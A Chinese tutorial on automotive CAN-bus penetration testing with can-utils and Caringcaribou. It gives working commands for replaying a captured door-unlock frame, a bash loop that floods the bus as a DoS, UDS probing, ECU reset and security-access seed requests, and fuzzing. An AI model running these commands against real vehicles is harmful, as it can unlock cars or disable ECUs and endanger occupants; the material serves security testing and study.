汽车CAN总线-03 测试方法演示
字数 982 2025-08-18 11:36:53

汽车CAN总线测试方法详解

免责声明

本文涉及到的所有技术仅用来学习交流,严禁用于非法用途,未经授权请勿非法渗透。否则产生的一切后果自行承担!一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!

环境搭建

1. canutils安装

在Kali Linux系统中执行以下命令安装can-utils工具包:

apt install can-utils

验证安装是否成功:

candump -h

如果显示帮助信息则证明安装成功。

2. Caringcaribou安装

安装步骤:

  1. 下载Caringcaribou到本地目录
  2. 执行以下命令:
cd caringcaribou
python3 setup.py install
# 安装python can库
pip3 install python-can

测试方法演示

1. 重放攻击

步骤详解:

  1. 使用candump监听CAN总线数据(需物理接入车辆CAN网络):
candump can0 -l
  1. 触发目标操作(如按动车钥匙中的开锁按钮)
  2. 停止抓包并对抓取的数据进行处理:
cat candump.log | awk '{print $3}' > res.txt
  1. 使用Caringcaribou工具进行重放攻击:
cc.py fuzzer identify res.txt
  1. 根据汽车反应选择y/n,识别开关车门数据包
  2. 对确认的数据包进行重放:
cansend can0 100#3d157d40d9000560

2. DoS攻击

(1) 过载DoS攻击

可使用CANoe工具实现,示例代码:

variables

(2) 优先级DoS攻击

编写shell脚本向CAN总线发送大量垃圾数据:

  1. 创建脚本文件:
vim dos.sh
  1. 写入内容:
#!/bin/bash
for i in {1..10000}
do
    cansend can0 123#1122334455667788
done
  1. 运行脚本:
chmod +x dos.sh
./dos.sh

3. UDS探测

步骤:

  1. 通过OBD接口连接车辆CAN总线并抓包:
candump can0
  1. 如果未获取数据,说明网关对CAN总线和OBD接口进行了隔离

  2. 发送UDS诊断请求验证CAN总线工作状态

方法一:UDS服务扫描

  1. 探测支持的服务ID:
cc.py uds discovery
  1. 探测特定服务:
cc.py uds services src ds
cc.py uds services 0x607 0x608
  1. 尝试重置ECU、读取DID等操作:
cc.py uds dump_dids 0x607 0x608
  1. 切换至扩展会话模式:
cansend can0 607#0210030000000000
  1. 发送重置ECU请求(注意:行驶中测试可能造成危险):
cc.py uds ecu_reset 2 clientid serverid
  1. 27服务安全性测试:
# 切换至编程模式
cansend can0 607#0210020000000000
# 请求安全种子
cansend can0 607#0227010000000000

方法二:使用Caringcaribou auto模块

自动化探测UDS主要攻击面:

cc.py uds auto

27服务安全性深度测试:

cc.py uds_fuzz seed_randomness_fuzzer 100311022701 0x733 0x633

4. 模糊测试

步骤:

  1. 监听CAN总线:
candump can0 -l
  1. 发送随机消息:
cc.py fuzzer random
  1. 观察车辆异常现象,如出现异常则停止监听并处理数据:
cat candump.log | awk '{print $3}' > res.txt
  1. 使用Caringcaribou识别问题数据包:
cc.py fuzzer identify res.txt

工具改进方向

当前Caringcaribou工具存在以下不足:

  1. 缺少扩展帧的UDS检测功能
  2. 部分自动化功能有待完善

二次开发计划:

  1. 增加扩展帧UDS检测模块
  2. 增强自动化探测能力

注意事项

  1. 所有测试应在授权环境下进行
  2. 行驶中测试ECU重置等操作极其危险
  3. 测试前应充分了解目标系统,避免造成不可逆损害
  4. 注意记录测试过程和结果,便于问题分析和复现
汽车CAN总线测试方法详解 免责声明 本文涉及到的所有技术仅用来学习交流,严禁用于非法用途,未经授权请勿非法渗透。否则产生的一切后果自行承担!一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢! 环境搭建 1. canutils安装 在Kali Linux系统中执行以下命令安装can-utils工具包: 验证安装是否成功: 如果显示帮助信息则证明安装成功。 2. Caringcaribou安装 安装步骤: 下载Caringcaribou到本地目录 执行以下命令: 测试方法演示 1. 重放攻击 步骤详解: 使用candump监听CAN总线数据(需物理接入车辆CAN网络): 触发目标操作(如按动车钥匙中的开锁按钮) 停止抓包并对抓取的数据进行处理: 使用Caringcaribou工具进行重放攻击: 根据汽车反应选择y/n,识别开关车门数据包 对确认的数据包进行重放: 2. DoS攻击 (1) 过载DoS攻击 可使用CANoe工具实现,示例代码: (2) 优先级DoS攻击 编写shell脚本向CAN总线发送大量垃圾数据: 创建脚本文件: 写入内容: 运行脚本: 3. UDS探测 步骤: 通过OBD接口连接车辆CAN总线并抓包: 如果未获取数据,说明网关对CAN总线和OBD接口进行了隔离 发送UDS诊断请求验证CAN总线工作状态 方法一:UDS服务扫描 探测支持的服务ID: 探测特定服务: 尝试重置ECU、读取DID等操作: 切换至扩展会话模式: 发送重置ECU请求(注意:行驶中测试可能造成危险): 27服务安全性测试: 方法二:使用Caringcaribou auto模块 自动化探测UDS主要攻击面: 27服务安全性深度测试: 4. 模糊测试 步骤: 监听CAN总线: 发送随机消息: 观察车辆异常现象,如出现异常则停止监听并处理数据: 使用Caringcaribou识别问题数据包: 工具改进方向 当前Caringcaribou工具存在以下不足: 缺少扩展帧的UDS检测功能 部分自动化功能有待完善 二次开发计划: 增加扩展帧UDS检测模块 增强自动化探测能力 注意事项 所有测试应在授权环境下进行 行驶中测试ECU重置等操作极其危险 测试前应充分了解目标系统,避免造成不可逆损害 注意记录测试过程和结果,便于问题分析和复现